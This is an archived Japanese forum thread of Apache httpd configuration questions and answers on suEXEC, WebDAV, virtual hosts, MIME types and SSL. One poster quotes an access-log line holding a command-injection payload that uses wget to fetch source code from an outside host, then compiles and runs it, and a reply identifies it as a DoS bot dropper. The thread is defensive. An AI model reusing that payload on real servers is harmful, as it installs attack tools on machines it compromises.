してapacheが認識していないため(?)、suEXECが動いていません。

ユーザhoge
http://〜〜/home/hoge/test.cgi  → suEXEC NG
http://〜〜/~hoge/test.cgi → suEXEC OK
(どちらもCGIは動作しています)

どなたかご教授お願いします。
517DNS未登録さん:2007/10/17(水) 14:36:59 ID:???
>>516
まずはここを読め。
http://httpd.apache.org/docs/2.0/ja/suexec.html#usage

> CGI プログラムへのリクエストが suEXEC ラッパーを呼ぶのは、 SuexecUserGroup
> ディレクティブを 含むバーチャルホストへのリクエストか、mod_userdir により
> 処理されたリクエストの場合に限ります。

だから、やるとすれば http://hogehoge/home/hoge/test.cgi
http://hogehoge/~hoge/test.cgi にリダイレクトするように作るくらいしか
方法はない。
518516:2007/10/18(木) 10:50:27 ID:???
mod_rewriteを使って出来ました。

参考にしたページです。
ttp://www.kawaz.jp/pukiwiki/?mod_rewrite

ただ、今度は別の問題が・・・。
519DNS未登録さん:2007/10/18(木) 11:27:02 ID:???


                                    つづく
520DNS未登録さん:2007/10/18(木) 12:05:04 ID:???
その後>>518を見かける事はなかった。




521516:2007/10/18(木) 17:33:37 ID:???
問題解決したので、長いですけど一応報告しておきます。


○mod_rewrite設定前

・ユーザホームをチルダ無しで見せる
 → AliasMatchで設定

・suEXEC
 → NGだった

・更に、ユーザ毎に認証を掛けたりしていました
 → LocationMatchで設定

 urlA→(AliasMatchで)→ユーザホーム
 urlB→(AliasMatchで)→ユーザホーム
 の様に、2通りのurlで同じユーザホームを見せるようにした場合、
 urlAだけにLocationMatchで認証を掛けることが出来ていました。(urlBは認証無しでOK)


○mod_rewrite設定後
・ユーザホームをチルダ無しで見せる
 → mod_rewriteで設定

・suEXEC
 → OKになった

・ユーザ毎の認証有無
 前と同じようにurlAに対してLocationMatchを設定しても認証が掛からなくなり、
 ユーザホームに対してLocationMatchを設定しないと駄目になりました

 なので、urlA→認証あり、urlB→認証無し、ということが出来なくなってしまいました。(>>518の「別の問題」)


○解決方法(?)
・Userdirの設定
 UserDir /home/*/public_html だったんですが、
 UserDir /public_home/*/public_html /home/*/public_html のように変更しました。
 (/homeの前に/public_homeを見に行くように設定)

・認証
 LocationMatchではなくDirectoryMatchを使うようにしました。
  <DirectoryMatch /home/>

・ユーザ毎の認証有無
 認証無しにしたいユーザは/home/以下から/public_home/にリンクをはるようにする
 (認証の有無でURLをわけるのは止める)

 public_homeにリンクがあるユーザは先にそちらに行くので、DirectoryMatchに引っかからず認証が掛かりません。
 リンクが無いユーザは/homeを見に行くのでDirectoryMatchに引っかかって認証が掛かります。


リンク絡みのセキュリティがちょっと気になりますが、動作的にはやりたいことが実現できました。suEXECも動作しています。
何か問題点がありそうだったら指摘して頂けると助かります。以上ご報告まで。
522DNS未登録さん:2007/10/19(金) 15:43:41 ID:???
Apache/2.2.6 (FedoraCore6)

FastCGIを導入しましたが、Apacheがメモリを食いつぶします。
CGIが動作するたびにメモリが増加。Swap領域がなくなるまでSwapしつづけ、Apache再起動が必要になります。
これは設定が悪いのかFastCGIはそういうものなのか(プロセスが起動したままになるんですよね)

FastCGIで運用している人はどうされているのでしょうか?
一定期間ごとにApache再起動は必須ですか?
(今はcronで半日ごとrestartをかけてます)
523DNS未登録さん:2007/10/19(金) 15:49:46 ID:???
FastCGIは明示的にメモリを開放しないと・・・
524DNS未登録さん:2007/10/19(金) 15:58:09 ID:???
>>523
ありがとうございます。

CGIは自作ではなくMovableTypeなんですよね。Ver3.35はFastCGIに対応している
はずなんですがメモリリークしてるのかな?
525DNS未登録さん:2007/10/19(金) 17:00:57 ID:???
>>524
MTというよりはperlとかphpではないのかな。
memprofでも使ってリークが起こっているかどうかを調査してみては。

http://www.gnome.org/projects/memprof/
526DNS未登録さん:2007/10/19(金) 18:36:03 ID:rKvv/vqV
mod_fcgid使ってる?
あれどうしようもないからやめたほうがいいぞ
527DNS未登録さん:2007/10/20(土) 02:26:47 ID:???
初心者じゃなくてもやめた方がいいな
528DNS未登録さん:2007/10/23(火) 18:06:14 ID:D1xvaMJX
WebDAVでbasic認証ができない?

鯖 :WinXPSP2
アパチェ:2.0.55/2.2.4(-->両方トーライしたけどNG)
クライアント:WinXPSP2

1)httpd.confでrequire valid-userをコメントアウトすればWebDAV自体は動く。
2)httpd.confでrequire valid-userを生かせば、
basic認証画面が表示され、ID/パスワードを入力しても認証が通らん。
3)ここで、ネットワークプレースの追加からでなく、
ブラウザから「http://〜」でアクセスしてみる。
(アクセスフォルダは「2」と同様)
-->basic認証画面が表示され、ID/パスワードを入力すれば認証が通る。


情報求む。
529DNS未登録さん:2007/10/23(火) 18:35:22 ID:???
クライアントのレジストリのどっかを変える。
530DNS未登録さん:2007/10/23(火) 19:00:17 ID:D1xvaMJX
>529
http://www.gssm.musashi.ac.jp/~ono/sitedev/index.php?WebDAV%A4%C7Basic%C7%A7%BE%DA%A4%F2%CD%AD%B8%FA%A4%CB%A4%B9%A4%EB%C0%DF%C4%EA

これでしょ?
そもそも、ブラウザでやった場合はbasic認証効いてるんだから、必要ないんじゃないの?
WebDAVの時は必要なの?

ってか、
これやったらマシンが正常起動しなくなった。
3回くらいやり直してるから間違ってるとは思えない。。。
起動時、自動起動が全部終了しなくなったり、タスクバーのクリックの動きが悪かったり。

誰かこれ試してみてくんろ。
531528:2007/10/23(火) 19:02:23 ID:D1xvaMJX
>529

ん?
スルーしたが、レジストリ書き換えるのはクライアントなの?

それって絶対普及しなくね?
532DNS未登録さん:2007/10/23(火) 21:40:31 ID:???
質問です。
プロキシ使ってアクセスしてるユーザがいるので、
漏れてるようなら生IPを抜きたいのですが、
どのディレクティブにどういう文字列を書けばログが取れるのでしょうか。
どなたか教えてください。
533DNS未登録さん:2007/10/23(火) 22:05:19 ID:???
>>532
そのプロキシサーバの仕様次第だが、
一般には "Via:" というヘッダに入ってくるので、
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Via}i\""
のように取ればいい。
534DNS未登録さん:2007/10/23(火) 23:17:57 ID:???
>>533
ありがとうございます。
X-Forwarded-Forで取れました。
ハイフンでつなぐべきところをアンダバーでつないでいたのが
うまく取れない原因でした。
535DNS未登録さん:2007/10/23(火) 23:32:35 ID:???
>>531
俺は 529 じゃないが、クライアントの方だよ。
普及させる気がないから、次期 Windows Server では
WebDAV サポートを廃止することが予告されてる。
536DNS未登録さん:2007/10/24(水) 00:27:00 ID:???
結局WebDAVってSubversion専用状態って事だよね。
537528:2007/10/24(水) 10:10:15 ID:qK+ufyA1
わかったよ。
http://www.microsoft.com/japan/technet/prodtechnol/winxppro/maintain/sp2netwk.mspx#EJDAE

そしてhttpsでやったらできた。
社内ユースだとしたら、使えねーな(笑)。

そして全然ふきゅーしてねぇこともわかった。
538DNS未登録さん:2007/10/24(水) 10:30:29 ID:???
いくら光回線が普及したとは言えローカルに比べたらカスい速度だし
今じゃ制限はあるもののファイル管理は FTP で出来るし敷居も低いですからね
539DNS未登録さん:2007/10/24(水) 10:34:06 ID:???
Digest認証使えよ
540528:2007/10/24(水) 10:51:01 ID:qK+ufyA1
>>538
確かに。
社内ユースなら、Windows共有とかでE氏ね。

>>539
ごもっとも。ごもっとも。
541DNS未登録さん:2007/10/24(水) 13:50:30 ID:???
3gpや3g2などを再生するにはMIME以外にどのような設定が必要なのでしょうか?
ストリーミングの再生ができないのでわかる方がいましたら教えてください
542DNS未登録さん:2007/10/24(水) 14:06:59 ID:???
ストリーミングサーバーを入れるか
プレーヤーによります
543DNS未登録さん:2007/10/24(水) 14:17:56 ID:???
AN HTTPD のようにはできないのでしょうか?
544DNS未登録さん:2007/10/24(水) 14:57:33 ID:???
何言ってんだ?
うまくいかないなら自分がやった設定を書け
545DNS未登録さん:2007/10/24(水) 15:05:07 ID:???
とりあえず

MIMEに
audio/3gpp 3gp
audio/3gpp2 3g2

を追加しましたが
で、ブラウザのQuickTimeで再生しましたがほんの少しだけしか再生できませんでした

AN HTTPDではMIMEの設定だけで最後まで再生できたのですがどうすればapacheでも同じように再生できるようになるのか教えてください
546DNS未登録さん:2007/10/24(水) 17:56:39 ID:???
MIMEってmime.types のことかな?
しかし、少しは再生できるとなると、、、
100KB制限とかは携帯の話だしな・・・

タグはどう書いてるの?Objectタグ?
547DNS未登録さん:2007/10/24(水) 20:57:22 ID:???
ほんの少しって5秒ぐらいじゃねーの?
だったらアパチェ以前の問題だ。
548DNS未登録さん:2007/10/24(水) 21:17:49 ID:???
あ、あぱ、アパチェwwwwwwwwwwwwwwwwwwww
549DNS未登録さん:2007/10/24(水) 21:30:01 ID:???
^^:
550DNS未登録さん:2007/11/09(金) 18:01:09 ID:???
バーチャルドメイン運営厨ですが
デフォルトのドキュメントルートを/usr/local/www/data
これは実際空で
hoge.jp:80 /usr/home/www/public_html
hoge1.jp:80 /usr/home/www1/public_html
hoge2.jp:80 /usr/home/www/2public_html
と3つのドメインに振り分けてます

hoge2.jpが解決されないときはデフォルトの/usr/local/www/dataに飛ぶと思うのですけど
実際は/usr/home/www/public_htmlのルートに飛びます

これはなぜです?
551DNS未登録さん:2007/11/09(金) 18:27:02 ID:???
>hoge2.jpが解決されないときはデフォルトの/usr/local/www/dataに飛ぶと思うのですけど

これが間違った思いこみだから。
なぜもクソもなくそういう仕様だとドキュメントに明記してある。
552DNS未登録さん:2007/11/09(金) 18:42:47 ID:???
デフォルトみたいなのを作りたいときは、ServerNameを指定しないVirtualHostを作る
553DNS未登録さん:2007/11/09(金) 18:43:44 ID:???
一致しないときに一番最初の設定に飛ぶので、一応理想の動作はしてる。

ホスト記述の無い設定を追加すれば、Host が一致しないときにそれを使ってくれます。

ホスト記述がないブロックは
Order Allow,Deny
Deny from all
してください
そうすれば IP 直打ちで訪問されても 403 返せます
554550:2007/11/09(金) 19:03:25 ID:???
>>551-553
ありがとうございました。
そうなんですか・・・・・デフォルトってのは関係ないんですね・・・
やってみます
555ななしさん:2007/11/14(水) 13:36:37 ID:QevAi3u3
Apacheの設定について質問があります。
MAC OS9等のクラシック環境で動く .sea という自己解凍形式があるのですが
FTPでUPしても、ブラウザで開くと文字で出てきてしまう。

なわけで、.htaccessのAddtypeで追加する事にしました。
AddType application/application .sea

こんな感じで書いたのですが、OS9でDLしても、テキストファイルとしてしか
認識しません。問題は
AddType application/******** .sea
***に何を書けば自己解凍形式として認識するかです。

ネットスケープのUS DLページなどはseaでDLできるようですが
なんと書けばいいか困っています。

どなたか知っている方いましたら教えてください。
556DNS未登録さん:2007/11/14(水) 13:50:58 ID:???
seaファイルとやらがあるサイトに行き、どんなcontent-typeでDLできるかをみる。
そして真似すればいいんじゃね?
557DNS未登録さん:2007/11/14(水) 14:15:40 ID:???
sea は application/octet-stream でどうぞ
558ななしさん:2007/11/14(水) 14:53:20 ID:QevAi3u3
>>556
無知ですいません。それはパケットキャプチャをしてみるのか、何かツールがあるのでしょうか?

>>557
cotet-stream にすると、ファイル自体はDLできますが
OS9で開くと、
これを作成したアプリケーションが見つかりませんでした。したがって、書類 ***.seaを開くことができませんでした。
と出てしまいます。
559DNS未登録さん:2007/11/14(水) 14:59:17 ID:???
>これを作成したアプリケーションが見つかりませんでした。したがって、書類 ***.seaを開くことができませんでした。
これはApacheのせいじゃないと思うが
560DNS未登録さん:2007/11/14(水) 15:05:47 ID:???
apacheでは(つうかほかのhttpサーバどれでもそうだと思うけど)どもならんので、
そういうのはbinhexとかでエンコードしておくのが普通だと思う。
561ななしさん:2007/11/14(水) 15:11:11 ID:QevAi3u3
ConpactProを使いseaファイルを作成。そのファイルはその場で利用可能を確認。
その後FTPでアップしました。

なのでファイル自体は問題ないと考えています。
tion/*** *の部分しだいで起動するソフトが変わってしまいます。。
562DNS未登録さん:2007/11/14(水) 15:55:56 ID:???
じゃあ>>556
パケットキャプチャでもなんでもいいんじゃね?
563DNS未登録さん:2007/11/14(水) 16:07:40 ID:???
FTP でアップするときに ascii でアップしてりゃそりゃおかしくなるわ
564DNS未登録さん:2007/11/14(水) 18:08:45 ID:???
>561
あのな、Macのファイルでデータフォークとかリソースフォーク
って聞いた事無いか?データフォークは普通のファイルで、これ
だけを使っているファイルはUNIXやWin*に持って行ける。
これに対しリソースフォークはMac独自の部分で、プログラム本体
などはリソースフォークに格納されている。
#これはMacOS9までの話で、OSX以降はちと違う。

CompactPro(懐かしいな)で.sea形式のファイルを作ると、自己解凍
するプログラムは.seaファイルのリソースフォークにある。そのまま
ftp等の汎用ツールでアップロードすると、データフォークのみが
アップロードされる。それをダウンロードしてもプログラムが消えて
いるので、「アプリケーションが見つかりません」というエラーになる。

これをなんとかするには、
・自己解凍形式を使わない。(受信側にもCompactProが必要)
・BinHexでテキストファイルに変換してからアップロードする。
 (BinHex形式はStuffIt expander等で元に戻る)
の何れか。
565DNS未登録さん:2007/11/14(水) 18:17:10 ID:???
561 じゃないけど、リソースフォークの存在をすっかり忘れてたw
昔マックな環境で作られた WEB を FTP で見るとリソースとかもアップされてるのとかあったなぁ・・・

OS X でもこれって存在してるの?
566DNS未登録さん:2007/11/14(水) 18:48:44 ID:???
OSXでもあるけど、こっちはDMG (ディスクイメージ)形式で
配布するのが一般的だからなぁ。
567DNS未登録さん:2007/11/14(水) 18:57:45 ID:???
なるほど
ちょっとスレちな質問だったけど thx
568DNS未登録さん:2007/11/16(金) 18:17:57 ID:iLLGiSa0
Apache2.2.4だが,mod_authn_dbd でグループに対するアクセス許可はできないの?
569DNS未登録さん:2007/11/16(金) 21:57:58 ID:???
>>568
Require文でユーザを書き並べるしかないな。
570DNS未登録さん:2007/11/17(土) 11:11:04 ID:???
なんかさー、過去に俺が立てた前スレが
そのまま現行スレの名前に使われているのがワラタ

あの頃は面白かったな。みんなして俺に氏ね死ね言うとるからw
571DNS未登録さん:2007/11/17(土) 14:22:46 ID:???
で?
572DNS未登録さん:2007/11/19(月) 10:20:55 ID:???
でっていう
573DNS未登録さん:2007/11/19(月) 16:26:01 ID:???
ででっ
574DNS未登録さん:2007/11/19(月) 19:56:50 ID:???
でれっ
575DNS未登録さん:2007/11/20(火) 09:47:04 ID:???
つんっ
576DNS未登録さん:2007/11/20(火) 10:10:09 ID:???
それはだあれ
577DNS未登録さん:2007/11/20(火) 10:20:35 ID:???
それは秘密
578DNS未登録さん:2007/11/20(火) 10:20:55 ID:???
秘密
579DNS未登録さん:2007/11/20(火) 10:31:34 ID:???
秘密
580DNS未登録さん:2007/11/20(火) 10:53:21 ID:???
秘密の
581DNS未登録さん:2007/11/20(火) 12:19:32 ID:???
和田アッコチャン!
582DNS未登録さん:2007/11/20(火) 12:24:54 ID:???
やっちゃった・・・。
583DNS未登録さん:2007/11/20(火) 12:58:01 ID:???
>>581にはがっかりしたわ
584DNS未登録さん:2007/11/20(火) 14:14:34 ID:???
おまえら・・・w
585DNS未登録さん:2007/11/20(火) 16:26:10 ID:???
がっかりだなw
586DNS未登録さん:2007/11/20(火) 20:25:38 ID:???
KY

>>581はKY
587568:2007/11/21(水) 09:03:31 ID:+AKGxaGz
>>569
3x.

で,めげずに調べていたんだけど
そしたら mod_authz_dbd ってのがみつかって。
Apache2.3 というのに入っているということなんだが
それってどこにあるの?みたいな感じです。
とりあえず
588DNS未登録さん:2007/11/21(水) 09:37:33 ID:???
>>587
2つめの数字が奇数なのでそれは開発版。

安定しないしバグだらけだし、セキュリティホールが数多くあるかもしれないし、
そもそもコンパイルできるかどうか解らん状態でもいいというのであれば

http://svn.apache.org/viewvc/httpd/

からどうぞ。
589DNS未登録さん:2007/11/21(水) 09:40:06 ID:???
なんか2.4はでないで3.0に行くとか行かないとか…
590DNS未登録さん:2007/11/26(月) 00:19:29 ID:???
ログにこんなのが、
GET ?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://crekom.com/barbut.c;gcc barbut.c -o barbut;./barbut ; HTTP/1.1 with response code(s) 200 1 responses
591DNS未登録さん:2007/11/26(月) 09:48:08 ID:???
>>590
おそらくこれはPHPが搭載されているマシンへの攻撃。
特定のソースコードをダウンロードしてコンパイルして実行する仕組みの模様。

barbutとはIRCサーバに対してDoS攻撃を仕掛けるプログラムだそうだ。
http://groups.google.com/group/comp.security.firewalls/browse_thread/thread/c1c578f6d26f8d06
既にソースコードはダウンロードできなくなっているが、
何やら日本のサイトを攻撃するという情報もある。
http://forums.whirlpool.net.au/forum-replies-archive.cfm/863953.html

攻撃は俺のところでは11/20 20:28が最初。発信元はUK (イギリス)。
おそらく11月後半から現われた攻撃と思われ。
592DNS未登録さん:2007/11/26(月) 10:30:27 ID:???
?=?&cmd=
だけでシェルが実行されちまうもんなのか!?
PHPは使ってなかったが、こえーな
593DNS未登録さん:2007/11/26(月) 11:08:45 ID:???
>>592
PHPそのものの問題ではないよ。PHP上で動作するアプリケーション側の問題。
よく知られているところではMamboというコンテンツ管理システムでこのような
セキュリティホールがあった。
594DNS未登録さん:2007/11/26(月) 11:40:58 ID:???
>>535
え?そうなん?WebDAV ってもの自体がもはや死滅の道?
って、Windows がクライアントとしてサポートしなくなっても
死滅ってわけじゃないとは思うけど、普及はしないかもなぁ。

ところで、かなり浦島太郎な質問かもしれないが、
最近の Windows Server の CAL はかなり凶悪になったって?
Apache のコネクション数までカウントしなきゃならんとか。
595DNS未登録さん:2007/11/26(月) 14:56:58 ID:???
VPNの上に普通のファイル共有を流す方が主流ってことでしょう。
596DNS未登録さん:2008/01/20(日) 00:28:46 ID:???
今日1.3.41, 2.0.63, 2.2.8がリリースされるよ
597DNS未登録さん:2008/01/20(日) 21:17:30 ID:ugThn+kL
mod_proxy で reverse proxy してる人、2.2.8 でも動いてる?
2.2.8 に上げたらうまく proxy してくれないので、2.2.6 に戻した。
598DNS未登録さん:2008/01/20(日) 21:22:01 ID:Pkq/QuA4
>>597
俺は全く問題ないなあ
場合によってはバグレポート出しとくから詳しく
599DNS未登録さん:2008/01/21(月) 23:09:24 ID:BlJRTCm1
WebDAVアクセス制限に関しておしえてください。

要件。
下記のフォルダ構造のように、davupとUPのフォルダ名は固定だが、その間のフォルダ名(dir1/dir2/dir3...)は不特定のとき、UPにだけWebDAVの設定をしたい。
davupにはアクセスさせたくない。

******************
davup
┣dir1━UP
┣dir2━UP
┣dir3━UP
┣ ・ ━UP
┣ ・ ━UP
┣ ・ ━UP
┣ ・ ━UP
******************

そのとき、下記のようなhttpd.confを書いた。
しかし、パスが存在しないのようなアラートが表示された。

*********************************************
AliasMatch "C:/davup/(.*)/UP" "/davup/$1/UP"
<IfModule mod_dav.c>
DavLockDB "C:/spool/DavLock"
DAVMinTimeout 600

<DirectoryMatch "/davup/*/UP">
DAV On
Order allow,deny
Allow from all
</DirectoryMatch>
</IfModule>

*********************************************

サーバOS:Win2003Server
apache:2.2.4
クライアント:WinXP

誰か教えてください。。。
600DNS未登録さん:2008/01/22(火) 07:52:13 ID:???
>>599
DirectoryMatchで書くのは正規表現。
601599:2008/01/22(火) 10:22:55 ID:Q9ipSSVu
>>600

<Directory "/davup/*/UP">
DAV On
Order allow,deny
Allow from all
</Directory>

でもダメです(;ー;)
602DNS未登録さん:2008/01/22(火) 10:33:51 ID:???
正規表現とワイルドカードは違う
603599:2008/01/22(火) 11:38:51 ID:Q9ipSSVu
>>602

Directoryにワイルドカードが使えるとの文献があったのですが、
私のこの書き方はNGなのですか?
604DNS未登録さん:2008/01/22(火) 12:30:06 ID:???
>>600に対して>>601を書き、>>603のレスってことは>>600の言うことは
間違いだから無視しましたってこと?
605DNS未登録さん:2008/01/22(火) 12:35:21 ID:???
あと、実ディレクトリとURLのどっちを書くのか混乱してないか?
606DNS未登録さん:2008/01/22(火) 12:49:06 ID:???
ディレクトリとURLが全部逆だな
AliasMatch "/davup/(.*)/UP/(.*)" "C:/davup/$1/UP/$2"

とりあえずここから始めてエラーログで修正してみ
607599:2008/01/22(火) 12:58:05 ID:Q9ipSSVu
>>604

>>600より、DirectoryMatchにワイルドカードを指定したことに間違いがあることに気付き、
Directoryでワイルドカードが使えるとの文献があったので、Directoryを使ったが、できなかった。(>>601)


>>605

失礼しました。
下記でもダメです。

AliasMatch ^/davup/(.*)/UP "C:/davup/$1/UP"
<Directory C:/davup/*/UP>
DAV On
Order allow,deny
Allow from all
</Directory>
608599:2008/01/22(火) 13:05:28 ID:Q9ipSSVu
>>604

>>600の指摘通り、directorymatchにワイルドカードを入れたのを修正。
directoryにワイルドカードを使えるとの文献を見つけたのでその方向で修正するが、NG(>>601)。
609599:2008/01/22(火) 13:12:09 ID:Q9ipSSVu
わぁ。荒らして申し訳ないです。

>>606

こういうこと?

AliasMatch "/davup/(.*)/UP/(.*)" "C:/davup/$1/UP/$2"

<Directory C:/davup/*/UP/*>
DAV On
Order allow,deny
Allow from all
</Directory>


エラーログはなし。
BASIC認証画面が表示されちまう。

apacheのID/PASSを入力するのか?
認証はかけたくないのだが。
610599:2008/01/22(火) 13:13:58 ID:Q9ipSSVu
>>605
>>606

遅ればせながら、ディレクトリとURLが逆との指摘、ありがとうございます。
611DNS未登録さん:2008/02/15(金) 16:05:39 ID:???
# wget http://dominia.org/djao/limit/mod_limitipconn-0.22.tar.gz
# tar xzvf mod_limitipconn-0.22.tar.gz
# cd mod_limitipconn-0.22
# make
apxs -c mod_limitipconn.c
/usr/lib/apr-1/build/libtool --silent --mode=compile gcc -prefer-pic -O2 -g -
pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param
=ssp-buffer-size=4 -m32 -march=i386 -mtune=generic -fasynchronous-unwind-tables
-DLINUX=2 -D_REENTRANT -D_GNU_SOURCE -D_LARGEFILE64_SOURCE -pthread
-I/usr/include/httpd -I/usr/include/apr-1 -I/usr/include/apr-1 -I/usr/include/mysql
-c -o mod_limitipconn.lo mod_limitipconn.c && touch mod_limitipconn.slo
/usr/lib/apr-1/build/libtool: line 1302: gcc: command not found
apxs:Error: Command failed with rc=65536
.
make: *** [mod_limitipconn.so] エラー 1


mod_limitipconn.so のインストールがうまくいきません。。。
612DNS未登録さん:2008/02/15(金) 16:41:27 ID:???
gccはパス通ったとこに入ってる?
613DNS未登録さん:2008/02/15(金) 16:46:47 ID:???
>>612
gccインスコするの忘れてたorz
614DNS未登録さん:2008/02/15(金) 16:50:19 ID:???
gcc: command not found
615DNS未登録さん:2008/02/16(土) 00:01:39 ID:???
apache2.2系で質問です
php5をモジュールとして利用する場合、
相変わらずMPMはpreforkじゃないとダメ?
616DNS未登録さん:2008/02/16(土) 00:55:50 ID:???
http://www.php.net/manual/en/faq.installation.php#faq.installation.apache2

お勧めできないと書いてある。
Apache2 側の問題ではなく、
PHP の使用するライブラリがスレッドセーフかどうかの問題。
617615:2008/02/16(土) 01:08:23 ID:???
ああ、そりゃそうか…

しかもその文書結構前からあるけど、何も変わってないしさ
回答、ありがとう
PHPの方で探してきます
618DNS未登録さん:2008/02/18(月) 11:19:24 ID:???
その文書で 3rd-party libraries うんぬんとあるように、
php からリンクされてる外部ライブラリにスレッドセーフでないものがあるから
全体としてスレッドセーフでないという話であって、
php のコア自体ではすでに解決されてる問題じゃなかったかしらん。

言いかえれば、そういうあやしげなライブラリを使わないようなスクリプトならば
worker でも支障なく動く、と思う。たぶん。きっと。そうだといいな。
619DNS未登録さん:2008/02/20(水) 00:47:21 ID:???
それで合ってる。
620DNS未登録さん:2008/02/20(水) 08:31:39 ID:???
日本語ファイル名のファイルが例えば%82〜の様にダウンロード時に文字化けしてしまいます。
どのような対策をすればよいのでしょうか?
621DNS未登録さん:2008/02/20(水) 10:49:18 ID:???
>620
それはブラウザ側の問題だから、Apacheでなんとかする事はできない。
日本語ファイル名は使わないのが吉。
622DNS未登録さん:2008/02/20(水) 10:54:07 ID:???
最近追ってないけど、URIに日本語使えるようになったの?
623DNS未登録さん:2008/02/29(金) 13:49:27 ID:???
ログに相変わらず毎日毎日大量(2000行以上)にこんなログが出る。

78-131-212-2.tktelekom.pl - - [29/Feb/2008:13:25:47 +0900] "GET /./././././././././(中略そうとう長い)./././././././././contact.php HTTP/1.0" 200 7485 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

IPをよく変えてくるのでURIで弾こうにも上手くいかないんだが、何かうまい手はないだろうか…。
はっきし云ってウザい。
624623:2008/02/29(金) 13:51:52 ID:???
しょうがないからもうWHOISで調べてまとめてipfwで/24アボンするか。
625DNS未登録さん:2008/02/29(金) 13:55:15 ID:???
200返してるな
626623:2008/02/29(金) 14:11:20 ID:???
しかもご丁寧に存在しないファイルにはアクセスしない。
んで、正確に1sec/1hitしてくる。

…何かの脆弱性さがしか?
627DNS未登録さん:2008/02/29(金) 14:29:33 ID:???
<a href="./"> みたいな HTML を書くと、出来の悪い HTML parser は
/ → /./ → /././ みたいな無限ループを起こす。
たぶんそれなんじゃないかと。
628623:2008/02/29(金) 15:10:45 ID:???
>627
マジで!?

ああ〜だからグーグル大先生に聞いても答えがなかったんだ…。
全部手打ちで書いてるから、その覚えはあるよ…orz
629DNS未登録さん:2008/02/29(金) 15:19:25 ID:???
あっ、それ応用してアフォロボットをどっか適当なページにドボンさせることができそうだなw
630623:2008/02/29(金) 16:04:11 ID:???
そうか?使い物になるか???

で、とりあえずウザい百度と根羽はアボンした。
631DNS未登録さん:2008/03/01(土) 17:05:12 ID:???
適当なページはサイト内に置くことになるから
結局、サーバーに無駄なアクセス繰り返されて嬉しくないような。
632DNS未登録さん:2008/03/05(水) 07:22:47 ID:Z455vRb+
[ 目的 ]
1 つのセキュリティ証明書を複数のドメインで共有したい

[ 環境 ]
centos apache bind

[ 具体例 ]
http://s1.exsample.com
http://s2.exsample.com ...etc などの複数のドメインに対して
https://ssl.exsample.com/s1.exsample.com などで接続できるようにしたい

多分 apache の virtualhost , mod_rewrite で出来ると思うんだけど、
どのような設定を行えばいいか、お願いします。どのような設定が必要ですか?
633DNS未登録さん:2008/03/05(水) 19:55:54 ID:???
>>632
mod_rewriteなんて面倒なことをやらずに、
ふつうにAliasでディレクトリを切ればいい。
634632:2008/03/05(水) 21:18:51 ID:???
>>633
レスありがとう。
Alias って ssl.exsample.com の Virtualhost で設定するんだよね。

<VirtualHost *:443>
ServerName ssl.exsample.com
SuexecUserGroup admin admin
SSLEngine on
SSLCertificateFile /etc/pki/tls/certs/server.pem
SSLCertificateKeyFile /etc/pki/tls/certs/server.key
Alias /siteA.exsample.com "/home/userA/siteA.exsample.com"
Alias /siteB.exsample.com "/home/userB/siteB.exsample.com"
Alias /siteC.exsample.com "/home/userC/siteC.exsample.com"
</VirtualHost>

この場合、ttps://ssl.exsample.com/siteA.exsample.com で接続できても
suexec にて siteA.exsample.com の CGI が動作しないと思うんだけど
設定方法間違っています?

また、ウェブサーバーが複数ある場合、各サーバーを s1 s2 s3 とすると、
証明書も ssl.s1.exsample.com , ssl.s2.exsample.com , s3.exsample.com の 3 枚必要?

アドバイスくれると助かります。
635DNS未登録さん:2008/03/05(水) 21:30:44 ID:???
>>634
suexecとの組み合わせは無理だね。
suexecがなくても動作するようにサーバを構成するか、
もしくは https://ssl.example.com/~s1/ のようにユーザ扱いに
してしまうとか。

suexecそのものをいじるという手もあるけど、あまりお勧めはしない。

証明書については発行元次第。ワイルドカード証明書といって
*.example.comのように「それ以下全部」の証明書を作ることもできるし、
一つの証明書でマルチドメインに対応するよう作ってもらうこともできる。
こっちについては発行元に聞け。
636632:2008/03/06(木) 00:47:27 ID:???
>>635
レスありがとう。
通常の証明書だと $30 だけど、ワイルドカードになると $200 になるから手が出せないんだ。
今のところサーバーが 7 台以上の規模になる予定はないし。

suexec との組み合わせで、/~user を使うのは気がつかなかった。
これならやりたい事ができそうだよ、ありがとう。
2ch で質問したの初めてだったけど、的確なレスで嬉しかったよ。
637DNS未登録さん:2008/03/06(木) 02:39:06 ID:???
ss1.xrea.com みたいなことをするにはどうするのが簡単なの?

mod_proxy?
638DNS未登録さん:2008/03/06(木) 08:00:20 ID:???
>>637
って何?
639DNS未登録さん:2008/03/06(木) 08:20:52 ID:???
サブドメイン?
640DNS未登録さん:2008/03/06(木) 10:59:58 ID:???
何のことかさっぱりわからんかったから、そのxrea.comとやらに行ってみたよ。
ttp://sb.xrea.com/showthread.php?&threadid=6646
これのことか?
641632:2008/03/06(木) 18:12:56 ID:???
>>640
637 は俺ではないけど、そのページに書かれている事の実現方法も気になる。
どうやってやっているんだろう。
642DNS未登録さん:2008/03/07(金) 11:27:45 ID:???
リバースプロキシだろう。
>>637の言うようにmod_proxyでできると思う。
643DNS未登録さん:2008/03/17(月) 00:23:28 ID:???
Red Hat Linux 6.2上でhttpd-2.0.63 + openssl-0.9.6c + php-4.4.8
という構成のインストールをしようと試みています。

OpenSSL、Apacheのインストールは問題ないのですが、
PHPのmakeでつまづいてしまいます。

/usr/local/pgsql/lib/libpq.so: undefined reference to `SSL_write'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1

今日一日これでずっと止まっています…。どのように対処したらよいでしょうか。
ApacheをSSL非対応にすればmake出来ます。

OpenSSLのconfigureは以下の通り。
# ./config -fPIC shared

Apacheのconfigureは以下の通り。
# ./configure \
--enable-shared \
--enable-dav \
--enable-dav-fs \
--enable-so\
--enable-auth-digest \
--enable-ssl \
--with-ssl=/usr/local/ssl\
--with-berkeley-db=/usr/local/BerkeleyDB.4.1\
--with-mpm=worker \
--enable-deflate \
--enable-headers

PHPのconfigureは以下の通りです。
# ./configure \
--with-apxs2=/usr/local/apache2/bin/apxs \
--enable-roxen-zts \
--enable-zend-multibyte \
--with-pgsql \
--with-mysql \
--enable-track-vars \
--enable-mbstring \
--enable-mbregex \
--with-gd \
--with-png-dir=shared \
--with-jpeg-dir=shared \
--with-zlib-dir=shared \
--with-zlib
644643:2008/03/17(月) 04:40:18 ID:???
>>643
psql を走らせてみたら以下のエラーが出ました。
